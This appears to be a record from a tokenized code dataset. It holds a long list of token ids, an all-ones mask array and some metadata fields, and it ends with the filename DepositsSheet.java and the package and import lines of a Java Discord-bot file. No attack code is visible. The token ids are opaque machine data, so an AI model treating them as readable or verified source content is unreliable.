64,
222,
485,
428,
51,
853,
103,
663,
747,
286,
51,
4048,
51,
17793,
51,
298,
676,
51,
1732,
64,
222,
485,
428,
51,
853,
103,
663,
747,
286,
51,
4048,
51,
17793,
51,
298,
676,
51,
1732,
51,
1049,
2746,
64,
222,
485,
428,
51,
853,
103,
663,
747,
286,
51,
4048,
51,
17793,
51,
298,
676,
51,
4627,
11971,
64,
222,
485,
428,
51,
853,
103,
663,
747,
286,
51,
4048,
51,
17793,
51,
298,
676,
51,
2977,
64,
222,
485,
428,
51,
853,
103,
663,
747,
286,
51,
4048,
51,
17793,
51,
298,
676,
51,
9024,
1590,
64,
222,
485,
428,
51,
853,
103,
663,
747,
286,
51,
4048,
51,
17793,
51,
298,
676,
51,
8803,
51,
1523,
676,
10678,
64,
222,
485,
428,
51,
853,
103,
663,
747,
286,
51,
4048,
51,
17793,
51,
298,
676,
51,
1184,
51,
5261,
51,
5887,
1983,
64,
222,
485,
428,
51,
853,
103,
663,
747,
286,
51,
4048,
51,
17793,
51,
298,
676,
51,
1184,
51,
5261,
51,
89,
561,
64,
222,
485,
428,
51,
853,
103,
663,
747,
286,
51,
4048,
51,
17793,
51,
298,
676,
51,
1184,
51,
5261,
51,
89,
561,
2717,
64,
222,
485,
428,
51,
853,
103,
663,
747,
286,
51,
4048,
51,
17793,
51,
298,
676,
51,
36194,
51,
46923,
64,
222,
485,
428,
51,
853,
103,
663,
747,
286,
51,
4048,
51,
17793,
51,
298,
676,
51,
36194,
51,
8046,
51,
2200,
51,
2045,
4627,
64,
222,
222,
325,
2287,
4820,
7162,
5669,
391,
545,
14304,
49,
641,
580,
458,
666,
1760,
451,
341,
719,
3783,
1621,
51,
222,
69,
14030,
459,
3557,
678,
222,
942,
462,
13395,
4627,
2041,
2770,
676,
4627,
320,
222,
221,
2072,
1175,
1701,
350,
1732,
67,
3467,
299,
556,
5068,
65,
1732,
2938,
222,
221,
2072,
1175,
1701,
350,
89,
561,
2717,
768,
67,
8072,
299,
556,
5068,
65,
89,
561,
2717,
768,
2938,
222,
221,
2072,
1175,
1701,
350,
89,
561,
2717,
768,
67,
14025,
9917,
299,
556,
5068,
65,
89,
561,
2717,
768,
2938,
222,
221,
2072,
466,
801,
1130,
3467,
5777,
64,
222,
221,
2072,
466,
801,
1130,
3467,
5777,
85,
15573,
64,
222,
221,
2072,
466,
801,
1130,
3252,
2930,
64,
222,
221,
2072,
7413,
3252,
1732,
64,
222,
221,
2072,
648,
553,
2746,
299,
244,
53,
64,
222,
221,
2072,
648,
1496,
94,
64,
222,
221,
2072,
648,
1496,
93,
64,
222,
221,
2072,
648,
2419,
94,
64,
222,
221,
2072,
648,
1788,
94,
64,
222,
221,
2072,
1916,
7755,
94,
299,
244,
53,
51,
53,
107,
64,
222,
221,
2072,
910,
1565,
2365,
299,
762,
64,
3038,
221,
2072,
462,
413,
561,
2717,
768,
320,
376,
221,
89,
561,
2717,
3429,
64,
376,
221,
429,
3215,
64,
4102,
221,
89,
561,
2717,
768,
45,
89,
561,
2717,
3429,
49,
648,
3215,
46,
320,
374,
221,
597,
51,
3054,
299,
3429,
64,
374,
221,
597,
51,
2675,
299,
3215,
64,
376,
221,
130,
222,
221,
130,
3038,
221,
942,
13395,
4627,
45,
3783,
4204,
49,
910,
1565,
2365,
46,
320,
376,
221,
5282,
45,
3642,
312,
376,
221,
597,
51,
1719,
2365,
299,
1565,
2365,
64,
222,
221,
130,
26000,
221,
69,
1806,
1676,
221,
942,
782,
18199,
365,
320,
376,
221,
1925,
1732,
299,
556,
7413,
45,
54,
56,
60,
58,
49,
244,
62,
61,
53,
49,
244,
56,
55,
53,
49,
244,
54,
53,
53,
49,
332,
3209,
411,
25769,
51,
16457,
3728,
49,
762,
312,
376,
221,
1925,
1732,
51,
6619,
2746,
45,
1049,
2746,
51,
6517,
312,
376,
221,
1925,
1732,
51,
489,
15378,
45,
1527,
312,
376,
221,
1925,
1732,
51,
489,
44005,
45,
1925,
2930,
312,
4102,
221,
1287,
320,
374,
221,
1654,
51,
3830,
492,
374,
221,
9159,
51,
3830,
492,
374,
221,
15771,
9917,
51,
3830,
492,
374,
221,
89,
561,
36655,
299,
413,
561,
51,
870,
45,
3642,
51,
22184,
2354,
941,
870,
6533,
991,
459,
5261,
52,
12569,
51,
2608,
2132,
4204,
51,
22184,
2354,
1052,
374,
221,
1848,
89,
561,
11557,
45,
12569,
51,
390,
9917,
1046,
244,
53,
312,
374,
221,
344,
327,
1719,
2365,
882,
762,
46,
320,
621,
221,
2049,
492,
374,
221,
130,
374,
221,
1732,
2419,
299,
3467,
51,
390,
45,
1654,
51,
911,
365,
449,
244,
54,
312,
374,
221,
1472,
94,
299,
2419,
51,
20421,
365,
494,
2419,
51,
22361,
365,
449,
244,
61,
60,
53,
64,
374,
221,
344,
327,
1472,
94,
350,
244,
53,
46,
320,
621,
221,
1472,
94,
299,
244,
53,
64,
374,
221,
130,
376,
221,
130,
2385,
327,
6860,
503,
46,
320,
374,
221,
1523,
676,
1353,
51,
106,
9669,
744,
2363,
98,
13395,
411,
332,
943,
9198,
13395,
2841,
72,
822,
4429,
503,
312,
376,
221,
130,
34522,
221,
130,
3038,
221,
942,
924,
1922,
7395,
45,
1523,
676,
763,
676,
49,
2426,
6989,
1236,
46,
320,
376,
221,
1287,
320,
374,
221,
429,
2095,
299,
1236,
51,
33798,
492,
374,
221,
671,
2785,
299,
762,
64,
374,
221,
344,
327,
1688,
868,
244,
53,
46,
320,
621,
221,
2049,
299,
5127,
621,
221,
999,
327,
429,
613,
299,
244,
53,
64,
613,
350,
2095,
64,
613,
2002,
320,
596,
221,
2049,
1475,
1236,
51,
870,
2674,
492,
621,
221,
130,
374,
221,
130,
45062,
221,
5887,
4627,
12906,
299,
556,
13395,
4627,
45,
298,
676,
49,
2785,
312,
374,
221,
3259,
51,
126,
2746,
299,
1236,
51,
33798,
492,
374,
221,
298,
676,
51,
489,
4627,
45,
3259,
312,
376,
221,
130,
2385,
327,
1002,
503,
46,
320,
374,
221,
1523,
676,
1353,
51,
106,
459,
5887,
14209,
8977,
411,
332,
943,
347,
24785,
4429,
503,
312,
374,
221,
620,
920,
64,
3177,
376,
221,
130,
9186,
376,
221,
620,
878,
64,
222,
221,
130,
3038,
221,
69,
1806,
222,
221,
942,
782,
4166,
4627,
1095,
45,
768,
8783,
13045,
46,
2589,
6300,
320,
376,
221,
12581,
51,
31173,
45,
1719,
2365,
630,
762,
1037,
244,
53,
518,
1565,
2365,
51,
1340,
1052,
376,
221,
344,
327,
1719,
2365,
882,
762,
46,
320,
374,
221,
12581,
51,
1838,
16356,
45,
1719,
2365,
312,
376,
221,
130,
376,
221,
12581,
51,
31173,
45,
126,
2746,
312,
222,
221,
130,
3038,
221,
2072,
782,
2785,
365,
320,
376,
221,
15771,
9917,
51,
3830,
492,
376,
221,
1654,
51,
3830,
492,
376,
221,
999,
327,
89,
561,
2717,
768,
3429,
518,
8072,
46,
320,
374,
221,
5887,
1983,
5053,
1983,
299,
3429,
51,
3054,
51,
390,
15373,
1983,
492,
374,
221,
344,
327,
1379,
1983,
882,
762,
46,
320,
621,
221,
671,
1197,
8846,
120,
299,
1565,
2365,
51,
10498,
45,
9459,
51,
13729,
4269,
3045,
459,
7173,
621,
221,
671,
18841,
299,
5053,
1983,
51,
390,
23244,
120,
492,
621,
221,
344,
327,
11662,
882,
762,
46,
320,
596,
221,
11662,
299,
18841,
51,
10498,
45,
9459,
51,
13729,
1052,
596,
221,
999,
327,
671,
439,
518,
8846,
120,
46,
320,
1397,
221,
344,
327,
11662,
51,
4766,
45,
109,
509,
320,
1504,
221,
15771,
9917,
51,
688,
45,
3054,
312,
1504,
221,
2986,
64,
1397,
221,
130,
596,
221,
130,
621,
221,
130,
374,
221,
130,
376,
221,
130,
376,
221,
344,
1445,
15771,
9917,
51,
6401,
1177,
320,
374,
221,
1523,
676,
51,
489,
1366,
19091,
4627,
45,
597,
312,
374,
221,
1848,
89,
561,
11557,
45,
15771,
9917,
51,
14315,
45,
909,
413,
561,
2717,
768,
96,
53,
10679,
376,
221,
130,
222,
221,
130,
3038,
221,
2072,
1922,
1524,
10193,
288,
45,
671,
1367,
46,
320,
376,
221,
1523,
676,
763,
676,
299,
327,
1523,
676,
46,
4204,
64,
376,
221,
671,
3696,
299,
763,
676,
51,
22184,
2769,
941,
7946,
9452,
671,
45,
897,
312,
376,
221,
4412,
1492,
903,
299,
920,
64,
376,
221,
344,
2903,
56,
102,
59,
105,
59,
57,
104,
55,
57,
2185,
61,
103,
59,
62,
1172,
1830,
56,
60,
59,
58,
57,
59,
57,
59,
60,
106,
61,
55,
59,
59,
59,
59,
60,
103,
58,
53,
32920,
53,
103,
62,
61,
57,
28544,
56,
59,
58,
54,
103,
54,
55,
62,
337,
60,
2316,
3591,
45,
2905,
46,
1293,
374,
221,
39,
58,
56,
103,
54,
4365,
57,
57,
59,
55,
56,
53,
103,
56,
57,
60,
104,
56,
107,
59,
57,
53,
59,
33692,
57,
103,
54,
21236,
348,
59,
53,
62,
53,
58,
2679,
57,
380,
54,
62,
60,
60,
54,
60,
62,
107,
57,
57,
103,
61,
4365,
54,
56,
57,
57,
57,
60,
2316,
3591,
45,
2905,
509,
320,
374,
221,
28901,
459,
25778,
49,
332,
494,
1367,
494,
332,
1976,
666,
1409,
2464,
49,
18366,
5377,
374,
221,
1454,
903,
299,
878,
64,
376,
221,
130,
832,
434,
2903,
105,
55,
102,
59,
59,
55,
57,
60,
102,
59,
30315,
60,
60,
56,
57,
60,
103,
59,
60,
59,
1001,
107,
59,
60,
58,
58,
3884,
3618,
3618,
61,
36246,
59,
60,
41576,
57,
3472,
54,
61,
2679,
58,
56,
56,
57,
59,
58,
60,
60,
103,
58,
2316,
3591,
45,
2905,
46,
1293,
25832,
332,
105,
56,
105,
55,
62,
54,
754,
60,
61,
55,
55,
54,
56,
56,
56,
30685,
57,
105,
60,
62,
53,
61,
57,
33937,
57,
62,
388,
2901,
57,
55,
3526,
53,
54,
388,
62,
104,
59,
61,
54,
56,
54,
58,
60,
57,
58,
104,
58,
53,
106,
54,
2316,
3591,
45,
2905,
509,
320,
374,
221,
28901,
459,
2042,
49,
332,
494,
1367,
494,
332,
1976,
666,
1409,
2464,
49,
3173,
51,
18182,
5377,
374,
221,
1454,
903,
299,
878,
64,
376,
221,
130,
832,
434,
2903,
58,
883,
58,
102,
56,
54,
105,
62,
53,
105,
53,
60,
56,
106,
54,
54,
4209,
55,
56,
59,
55,
2336,
55,
56,
56,
59,
103,
60,
106,
62,
53,
55,
4551,
57,
59,
105,
4252,
54,
754,
55,
61,
55,
3657,
59,
107,
57,
60,
58,
62,
102,
57,
105,
56,
54,
1310,
2316,
3591,
45,
2905,
509,
320,
374,
221,
298,
676,
51,
11433,
77,
26219,
492,
374,
221,
28901,
459,
77,
26219,
25220,
5377,
374,
221,
1454,
903,
299,
878,
64,
374,
221,
298,
676,
51,
32872,
941,
489,
10193,
1670,
45,
1527,
312,
376,
221,
130,
832,
434,
2903,
59,
33937,
59,
2519,
62,
59,
59,
61,
3472,
53,
54,
58,
106,
60,
62,
102,
61,
3618,
60,
58,
54,
103,
58,
57,
56,
305,
61,
57,
54,
107,
54,
106,
61,
55,
57,
601,
57,
107,
57,
55,
104,
58,
62,
105,
61,
53,
107,
56,
62,
102,
53,
4209,
59,
54,
2316,
3591,
45,
2905,
509,
320,
374,
221,
2977,
51,
8743,
6790,
1806,
299,
244,
57,
53,
64,
374,
221,
28901,
459,
39894,
8566,
30450,
284,
25220,
5377,
374,
221,
1454,
903,
299,
878,
64,
374,
221,
298,
676,
51,
32872,
941,
489,
10193,
1670,
45,
1527,
312,
376,
221,
130,
832,
434,
2903,
59,
60,
106,
53,
61,
55,
61,
62,
56,
106,
61,
57,
61,
104,
61,
60,
53,
59,
57,
56,
54,
104,
56,
55,
32930,
59,
104,
56,
1192,
61,
59,
104,
57,
61,
61,
3657,
55,
57,
1310,
59,
103,
53,
59,
59,
54,
57,
61,
62,
2519,
61,
103,
56,
2901,
60,
61,
102,
2316,
3591,
45,
2905,
509,
320,
374,
221,
2977,
51,
330,
17631,
32352,
299,
878,
64,
374,
221,
28901,
459,
20576,
13872,
30450,
284,
25220,
5377,
374,
221,
1454,
903,
299,
878,
64,
374,
221,
298,
676,
51,
32872,
941,
489,
10193,
1670,
45,
1527,
312,
376,
221,
130,
832,
434,
2903,
1219,
358,
3526,
61,
61,
54,
57,
57,
3611,
54,
58,
56,
102,
55,
105,
54,
31623,
54,
58,
57,
59,
61,
54,
104,
61,
58,
60,
102,
55,
56,
60,
891,
60,
62,
105,
58,
61,
1519,
55,
57,
106,
62,
54,
61,
36125,
59,
106,
54,
60,
1219,
58,
2316,
3591,
45,
2905,
509,
320,
374,
221,
2977,
51,
6945,
284,
6790,
1806,
299,
244,
54,
58,
64,
374,
221,
28901,
459,
81,
15188,
8566,
30450,
284,
25220,
5377,
374,
221,
1454,
903,
299,
878,
64,
374,
221,
298,
676,
51,
32872,
941,
489,
10193,
1670,
45,
1527,
312,
376,
221,
130,
832,
434,
2903,
61,
59,
1172,
62,
103,
53,
56,
53,
56,
3016,
53,
103,
55,
62,
102,
59,
54,
103,
57,
103,
58,
102,
53,
1939,
60,
61,
2901,
58,
104,
58,
3016,
59,
57,
2336,
60,
56,
57,
59,
4365,
56,
58,
55,
59,
60,
3611,
1247,
58,
107,
57,
54,
2316,
3591,
45,
2905,
509,
320,
374,
221,
2977,
51,
6945,
284,
6790,
1806,
299,
244,
58,
53,
53,
53,
64,
374,
221,
28901,
459,
12739,
517,
15188,
8566,
5377,
374,
221,
1454,
903,
299,
878,
64,
374,
221,
298,
676,
51,
32872,
941,
489,
10193,
1670,
45,
1527,
312,
376,
221,
130,
832,
434,
2903,
61,
60,
358,
54,
59,
105,
56,
53,
54,
106,
57,
56,
62,
102,
58,
60,
104,
59,
55,
62,
59,
62,
59,
61,
107,
54,
891,
4209,
61,
61,
62,
105,
57,
102,
58,
2185,
58,
61,
4209,
53,
3618,
54,
3472,
62,
60,
105,
57,
55,
58,
62,
61,
53,
56,
1566,
61,
2316,
3591,
45,
2905,
509,
320,
374,
221,
2977,
51,
5834,
13023,
463,
299,
878,
64,
374,
221,
28901,
459,
12739,
2432,
702,
8566,
5377,
374,
221,
1454,
903,
299,
878,
64,
374,
221,
298,
676,
51,
32872,
941,
489,
10193,
1670,
45,
1527,
312,
376,
221,
130,
832,
434,
2903,
56,
54,
58,
55,
102,
54,
60,
56,
32920,
56,
33937,
60,
56,
62,
2679,
58,
54,
103,
61,
57,
62,
56,
60,
54,
60,
56,
2185,
56,
56,
61,
53,
3016,
59,
105,
56,
62,
106,
57,
62,
4365,
62,
55,
59,
55,
56,
34656,
54,
56,
54,
103,
57,
107,
59,
2316,
3591,
45,
2905,
509,
320,
374,
221,
2977,
51,
4010,
1233,
299,
878,
64,
374,
221,
28901,
459,
6803,
5404,
418,
1843,
5377,
374,
221,
1454,
903,
299,
878,
64,
374,
221,
298,
676,
51,
32872,
941,
489,
10193,
1670,
45,
1527,
312,
376,
221,
130,
832,
434,
2903,
61,
107,
62,
17579,
62,
62,
55,
62,
54,
107,
55,
53,
103,
59,
107,
57,
105,
62,
54,
104,
55,
102,
57,
103,
59,
103,
61,
56,
57,
57,
60,
60,
103,
57,
55,
55,
104,
61,
106,
56,
105,
60,
61,
103,
61,
107,
57,
61,
54,
104,
61,
61,
107,
59,
54,
62,
59,
62,
57,
2316,
3591,
45,
2905,
509,
320,
374,
221,
2045,
4627,
51,
19397,
100,
2913,
100,
21310,
299,
878,
64,
374,
221,
28901,
459,
1338,
18373,
7822,
9937,
458,
840,
1390,
2733,
5377,
374,
221,
1454,
903,
299,
878,
64,
374,
221,
298,
676,
51,
32872,
941,
489,
10193,
1670,
45,
1527,
312,
376,
221,
130,
376,
221,
620,
1492,
903,
64,
222,
221,
130,
736,
221,
2072,
782,
4464,
3209,
365,
320,
376,
221,
909,
4627,
299,
556,
3336,
1630,
4627,
45,
3642,
49,
332,
3209,
13395,
411,
332,
6559,
3252,
1367,
411,
4343,
477,
49,
556,
3336,
3309,
365,
320,
9186,
374,
221,
69,
1806,
374,
221,
942,
782,
563,
7573,
45,
671,
1367,
46,
320,
621,
221,
1719,
2365,
299,
1367,
64,
621,
221,
4412,
1492,
903,
299,
1524,
10193,
288,
45,
897,
312,
621,
221,
15771,
9917,
51,
3830,
492,
621,
221,
126,
2746,
299,
244,
53,
64,
621,
221,
6602,
94,
299,
244,
53,
64,
621,
221,
1654,
51,
3830,
492,
621,
221,
344,
1445,
897,
51,
5475,
941,
6401,
1177,
320,
596,
221,
2049,
492,
621,
221,
130,
832,
320,
596,
221,
1719,
2365,
299,
762,
64,
621,
221,
130,
621,
221,
344,
327,
15771,
9917,
51,
6401,
1177,
320,
596,
221,
344,
1445,
1454,
903,
46,
320,
1397,
221,
28901,
459,
2042,
3300,
2448,
5377,
596,
221,
130,
596,
221,
1719,
2365,
299,
762,
64,
596,
221,
1523,
676,
51,
489,
1366,
19091,
4627,
45,
5887,
4627,
51,
597,
312,
596,
221,
1848,
89,
561,
11557,
45,
9159,
51,
14315,
45,
909,
413,
561,
2717,
768,
96,
53,
10679,
621,
221,
130,
8671,
221,
130,
8212,
221,
69,
1806,
374,
221,
942,
782,
563,
7034,
365,
320,
374,
221,
130,
376,
221,
1933,
222,
221,
130,
3038,
221,
69,
1806,
222,
221,
5332,
782,
2183,
10464,
45,
10464,
1167,
12800,
46,
320,
376,
221,
5282,
51,
2441,
10464,
45,
11252,
312,
21997,
221,
344,
327,
7724,
365,
882,
762,
46,
320,
374,
221,
620,
64,
376,
221,
130,
376,
221,
344,
327,
11252,
51,
700,
630,
26700,
1167,
51,
1425,
34372,
100,
10453,
979,
12800,
51,
6814,
630,
244,
53,
46,
320,
374,
221,
1384,
93,
299,
12800,
51,
125,
64,
374,
221,
1384,
94,
299,
2419,
94,
299,
12800,
51,
126,
64,
313,
374,
221,
6602,
94,
299,
244,
53,
64,
376,
221,
130,
376,
221,
344,
327,
11252,
51,
700,
630,
26700,
1167,
51,
1425,
34372,
100,
3577,
1631,
35311,
979,
12800,
51,
6814,
630,
244,
53,
46,
320,
374,
221,
344,
327,
11252,
51,
125,
868,
327,
54,
62,
55,
53,
449,
18029,
2914,
51,
3382,
509,
320,
621,
221,
620,
64,
374,
221,
130,
45062,
221,
126,
2746,
1475,
2419,
94,
449,
12800,
51,
126,
64,
374,
221,
344,
327,
126,
2746,
350,
244,
53,
46,
320,
621,
221,
126,
2746,
299,
244,
53,
64,
374,
221,
130,
374,
221,
344,
327,
126,
2746,
868,
1788,
94,
46,
320,
621,
221,
126,
2746,
299,
1788,
94,
64,
374,
221,
130,
374,
221,
2153,
94,
299,
12800,
51,
126,
64,
3177,
376,
221,
130,
376,
221,
344,
327,
11252,
51,
700,
630,
26700,
1167,
51,
1425,
34372,
100,
2430,
979,
12800,
51,
6814,
630,
244,
53,
46,
320,
374,
221,
344,
327,
11252,
51,
125,
868,
327,
54,
62,
55,
53,
449,
18029,
2914,
51,
3382,
509,
320,
621,
221,
620,
64,
374,
221,
130,
374,
221,
344,
327,
5728,
51,
3615,
45,
1384,
93,
449,
12800,
51,
125,
46,
350,
244,
55,
53,
979,
621,
221,
5728,
51,
3615,
45,
1384,
94,
449,
12800,
51,
126,
46,
350,
244,
55,
53,
46,
320,
621,
221,
344,
327,
1925,
1732,
51,
316,
35954,
2356,
45,
11252,
51,
125,
49,
12800,
51,
126,
509,
320,
596,
221,
9024,
1590,
51,
1087,
45,
14016,
51,
2956,
312,
596,
221,
14426,
3209,
492,
621,
221,
130,
832,
434,
327,
11252,
51,
126,
868,
244,
60,
62,
46,
320,
596,
221,
429,
1671,
299,
244,
53,
64,
596,
221,
999,
327,
1732,
342,
63,
3467,
46,
320,
1397,
221,
344,
327,
103,
51,
316,
35954,
2356,
45,
11252,
51,
125,
49,
12800,
51,
126,
509,
320,
1504,
221,
909,
4627,
299,
556,
13395,
1983,
4627,
45,
3642,
49,
1565,
2365,
630,
762,
1037,
8072,
51,
390,
45,
1076,
566,
3054,
518,
14025,
9917,
51,
390,
45,
1076,
566,
3054,
49,
1565,
2365,
312,
1504,
221,
9024,
1590,
51,
1087,
45,
14016,
51,
2956,
312,
1397,
221,
130,
1397,
221,
1076,
3348,
596,
221,
130,
621,
221,
130,
374,
221,
130,
376,
221,
130,
27606,
221,
344,
327,
11252,
51,
700,
630,
26700,
1167,
51,
1425,
34372,
100,
5696,
4171,
85,
979,
12800,
51,
125,
350,
327,
54,
62,
55,
53,
449,
18029,
2914,
51,
3382,
509,
320,
374,
221,
6602,
94,
299,
12800,
51,
126,
55,
64,
376,
221,
130,
222,
221,
130,
499,
221,
2072,
1175,
782,
1984,
89,
561,
11557,
45,
89,
561,
2717,
1627,
8072,
49,
648,
3215,
46,
320,
376,
221,
344,
327,
9159,
630,
762,
46,
320,
374,
221,
620,
64,
376,
221,
130,
21997,
221,
999,
327,
89,
561,
2717,
3429,
63,
8072,
46,
320,
374,
221,
1732,
342,
299,
556,
7413,
45,
55,
53,
494,
3215,
338,
244,
54,
53,
53,
49,
244,
61,
53,
494,
3467,
51,
911,
365,
338,
244,
54,
57,
53,
49,
244,
54,
59,
61,
53,
449,
3215,
338,
244,
54,
53,
53,
49,
244,
54,
55,
53,
49,
3467,
5777,
312,
374,
221,
103,
51,
489,
85,
15573,
5777,
45,
1654,
5777,
85,
15573,
312,
374,
221,
344,
327,
2675,
882,
244,
53,
46,
320,
621,
221,
103,
51,
489,
1732,
2117,
45,
58,
53,
312,
374,
221,
130,
374,
221,
1654,
51,
688,
45,
103,
312,
374,
221,
597,
51,
9159,
51,
688,
45,
909,
413,
561,
2717,
768,
45,
3054,
49,
3215,
894,
374,
221,
103,
51,
6619,
10928,
374,
221,
103,
51,
21617,
45,
14016,
51,
16457,
3728,
312,
374,
221,
103,
51,
489,
4404,
7263,
45,
1886,
312,
374,
221,
1848,
89,
561,
11557,
45,
3054,
51,
28817,
1046,
3215,
494,
244,
54,
312,
376,
221,
130,
222,
221,
130,
3038,
221,
2072,
1175,
782,
1984,
89,
561,
11557,
45,
89,
561,
2717,
768,
1627,
8072,
46,
320,
376,
221,
344,
327,
9159,
630,
762,
46,
320,
374,
221,
620,
64,
376,
221,
130,
376,
221,
999,
327,
89,
561,
2717,
768,
3429,
63,
8072,
46,
320,
374,
221,
1732,
342,
299,
556,
7413,
45,
55,
53,
494,
3429,
51,
2675,
338,
244,
54,
53,
53,
49,
244,
61,
53,
494,
3467,
51,
911,
365,
338,
244,
54,
57,
53,
49,
244,
54,
59,
61,
53,
449,
3429,
51,
2675,
338,
244,
54,
53,
53,
49,
244,
54,
55,
53,
49,
3467,
5777,
312,
374,
221,
103,
51,
489,
85,
15573,
5777,
45,
1654,
5777,
85,
15573,
312,
374,
221,
344,
327,
3054,
51,
2675,
882,
244,
53,
46,
320,
621,
221,
103,
51,
489,
1732,
2117,
45,
58,
53,
312,
374,
221,
130,
374,
221,
1654,
51,
688,
45,
103,
312,
374,
221,
103,
51,
6619,
10928,
374,
221,
103,
51,
21617,
45,
14016,
51,
16457,
3728,
312,
374,
221,
103,
51,
489,
4404,
7263,
45,
1886,
312,
376,
221,
130,
222,
221,
130,
499,
221,
69,
1806,
222,
221,
942,
782,
5041,
45,
1832,
7755,
1061,
46,
320,
27606,
221,
344,
327,
1303,
6865,
46,
320,
374,
221,
620,
64,
376,
221,
130,
376,
221,
8524,
504,
299,
4204,
51,
390,
8524,
492,
376,
221,
108,
51,
3830,
45,
1530,
51,
22746,
312,
376,
221,
2784,
3188,
459,
5887,
742,
4102,
221,
1925,
1732,
51,
3183,
45,
108,
312,
376,
221,
344,
327,
6602,
94,
882,
244,
53,
46,
320,
374,
221,
4412,
7571,
299,
7755,
94,
350,
244,
53,
64,
374,
221,
6602,
94,
1475,
7755,
94,
868,
244,
53,
1037,
449,
61,
51,
53,
107,
338,
7755,
1061,
518,
7755,
94,
350,
244,
53,
1037,
244,
61,
51,
53,
107,
338,
7755,
1061,
518,
244,
53,
64,
374,
221,
344,
327,
8141,
979,
7755,
94,
868,
244,
53,
1293,
673,
8141,
979,
7755,
94,
350,
244,
53,
46,
320,
621,
221,
6602,
94,
299,
244,
53,
64,
374,
221,
130,
374,
221,
126,
2746,
5928,
7755,
94,
64,
374,
221,
344,
327,
126,
2746,
350,
244,
53,
46,
320,
621,
221,
126,
2746,
299,
244,
53,
64,
374,
221,
130,
374,
221,
344,
327,
126,
2746,
868,
1788,
94,
46,
320,
621,
221,
126,
2746,
299,
1788,
94,
64,
374,
221,
130,
376,
221,
130,
1332,
221,
108,
51,
489,
10399,
45,
53,
49,
244,
54,
53,
53,
49,
449,
54,
49,
244,
54,
53,
53,
53,
312,
376,
221,
999,
327,
429,
613,
299,
244,
53,
49,
329,
299,
3467,
51,
911,
492,
613,
350,
329,
64,
613,
2002,
320,
374,
221,
1732,
342,
299,
3467,
51,
390,
45,
110,
312,
374,
221,
89,
561,
2717,
768,
292,
337,
299,
1565,
2365,
630,
762,
1037,
8072,
51,
390,
45,
110,
46,
518,
14025,
9917,
51,
390,
45,
110,
312,
374,
221,
103,
51,
489,
94,
3468,
3766,
126,
2746,
312,
374,
221,
103,
51,
3183,
45,
108,
312,
374,
221,
108,
51,
3903,
1049,
45,
3270,
51,
3054,
51,
5175,
1046,
244,
58,
53,
494,
292,
337,
51,
2675,
338,
244,
54,
53,
53,
49,
244,
54,
58,
53,
449,
553,
2746,
494,
613,
338,
244,
54,
57,
53,
49,
2770,
676,
10678,
51,
390,
941,
1460,
6609,
1046,
25769,
51,
16457,
3728,
312,
376,
221,
130,
376,
221,
108,
51,
489,
10399,
3766,
54,
49,
449,
54,
49,
449,
54,
49,
449,
54,
312,
222,
221,
130,
499,
221,
69,
1806,
222,
221,
942,
782,
27131,
365,
320,
376,
221,
5282,
51,
19904,
492,
376,
221,
344,
327,
1654,
5777,
882,
762,
46,
320,
374,
221,
1654,
5777,
51,
19904,
492,
374,
221,
1654,
5777,
299,
762,
64,
376,
221,
130,
376,
221,
344,
327,
1925,
2930,
882,
762,
46,
320,
374,
221,
1925,
2930,
51,
19904,
492,
374,
221,
1925,
2930,
299,
762,
64,
376,
221,
130,
376,
221,
344,
327,
1654,
5777,
85,
15573,
882,
762,
46,
320,
374,
221,
1654,
5777,
85,
15573,
51,
19904,
492,
374,
221,
1654,
5777,
85,
15573,
299,
762,
64,
376,
221,
130,
222,
221,
130,
499,
221,
69,
1806,
222,
221,
942,
782,
2480,
14016,
365,
320,
376,
221,
1654,
5777,
299,
4204,
51,
390,
8524,
941,
909,
44005,
459,
10807,
100,
1654,
51,
1665,
411,
878,
312,
376,
221,
1925,
2930,
299,
4204,
51,
390,
8524,
941,
909,
44005,
459,
1925,
100,
1584,
51,
1665,
411,
878,
312,
376,
221,
1654,
5777,
85,
15573,
299,
4204,
51,
390,
8524,
941,
909,
44005,
459,
10807,
100,
1654,
100,
11589,
2054,
51,
1665,
411,
878,
312,
376,
221,
5282,
51,
963,
14016,
492,
222,
221,
130,
3038,
221,
69,
1806,
222,
221,
942,
782,
15248,
365,
320,
376,
221,
5282,
51,
12091,
492,
222,
221,
130,
3038,
221,
69,
1806,
222,
221,
942,
782,
20787,
365,
320,
376,
221,
5282,
51,
14970,
492,
222,
221,
130,
3038,
221,
69,
1806,
222,
221,
942,
648,
640,
4627,
1241,
365,
320,
376,
221,
620,
14209,
11971,
51,
20006,
100,
19900,
64,
222,
221,
130,
221,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 4,669
| true
| 64.307428
| true
| true
|
DepositsSheet.java
|
/FileExtraction/Java_unseen/xdnw_locutus/src/main/java/link/locutus/discord/commands/sheets/DepositsSheet.java
|
package link.locutus.discord.commands.sheets;
import link.locutus.discord.Locutus;
import link.locutus.discord.commands.manager.Command;
import link.locutus.discord.commands.manager.CommandCategory;
import link.locutus.discord.commands.manager.v2.command.IMessageIO;
import link.locutus.discord.commands.manager.v2.impl.pw.binding.PWBindings;
import link.locutus.discord.commands.manager.v2.impl.pw.commands.BankCommands;
import link.locutus.discord.db.GuildDB;
import link.locutus.discord.db.entities.DBAlliance;
import link.locutus.discord.db.entities.DBNation;
import link.locutus.discord.user.Roles;
import link.locutus.discord.util.discord.DiscordUtil;
